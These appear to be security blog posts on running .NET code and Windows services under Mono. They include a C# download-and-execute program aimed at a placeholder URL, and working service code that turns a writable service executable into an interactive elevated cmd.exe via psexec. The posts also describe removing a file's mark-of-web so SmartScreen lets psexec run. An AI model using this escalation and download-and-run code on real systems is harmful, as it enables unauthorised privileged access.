Didier Stevens

I knew you could run .NET executables on Linux with Mono, but I didn’t know you could run services too.

For example, this program to download and start a file works on Windows, Linux and OSX:

namespace Demo
{
    static class Program
    {
        const string url = @"https://example.com";
        const string filename = @"example.txt";

        static void Main()
        {
            string tempfilename = System.IO.Path.Combine(System.IO.Path.GetTempPath(), filename);
            (new System.Net.WebClient()).DownloadFile(url, tempfilename);
            System.Diagnostics.Process.Start(tempfilename);
        }
    }
}

Services can be executed too on Mono, I discovered that when I launched service.exe:

As I just installed mono-devel, mono-service was not installed. For that, I need the complete Mono: sudo apt-get install mono-complete

And then I can run service.exe (which launches ping 127.0.0.1):

The Windows service I used in my previous blog post can also be compiled on Kali (or other Linux distros or OSX) using Mono.

First I install Mono on Kali: sudo apt-get install mono-devel

Then I can use Mono’s C# compiler mcs. Unlike .NET’s C# compiler csc.exe, mcs requires a reference to compile a Windows service:

mcs -reference:System.ServiceProcess.dll service.cs

A friend had a problem: he found a Windows service with a writable executable (e.g. writable by a non-admin user), replaced it with a copy of cmd.exe, but got no prompt.

This is because of 2 reasons.

First, a Windows service is a Windows executable (PE file) that must be able to interact with the Services Control Manager when the SCM loads the executable. Since cmd.exe does not have the capability to interact with the SCM, the SCM will quickly stop the cmd.exe executable. On my Windows VM, cmd.exe ran only 200 milliseconds when launched by the SCM.

Here you can see how the SCM reacts when it launches cmd.exe:

This problem can be solved by creating a Windows service executable that launches cmd.exe upon starting. Creating such a Windows service with .NET is easy, here is the minimum C# source code for a service that launches cmd.exe upon starting:

using System.ServiceProcess;

namespace Demo
{
    public class Service : ServiceBase
    {
        protected override void OnStart(string[] args)
        {
            System.Diagnostics.Process.Start("cmd.exe");
        }
    }

    static class Program { static void Main() { ServiceBase.Run(new ServiceBase[] { new Service() }); } }
}

cmd.exe will be running, but we will still not have a console window. This is because of the second reason: Windows services run in session 0 and session 0 does not allow user interfaces. So cmd.exe runs in session 0 and my friend’s user account runs in session 1. If we can make cmd.exe run in session 1, then my friend can interact with the console.

There is a quick solution for this: psexec. With psexec’s option -i, one can specify in which session the program launched by psexec must run.
So our minimal code for a service becomes:

using System.ServiceProcess;

namespace Demo
{
    public class Service : ServiceBase
    {
        protected override void OnStart(string[] args)
        {
            System.Diagnostics.Process.Start(@"c:\demo\psexec.exe", @"-accepteula -d -i 1 cmd.exe");
        }
    }

    static class Program { static void Main() { ServiceBase.Run(new ServiceBase[] { new Service() }); } }
}

This simple service can be compiled with the C# compiler csc.exe:

In this example, I install the service with command “sc create Service type= own binpath= c:\demo\Service.exe”, but of course, my friend did not have to do this (this requires admin rights), he just had to replace the service’s executable:

When I first tried this, it did not work. Looking through procmon‘s logs for service.exe, I saw that the psexec executable was never loaded. At the end of the logs, I saw references to smartscreen.exe, and then quickly thereafter, service.exe stopped running. That’s when it dawned on me: when I downloaded psexec, I left the mark-of-web on the file. SmartScreen did now allow psexec to run because it was downloaded from the Internet. After removing that mark, it all ran without problem.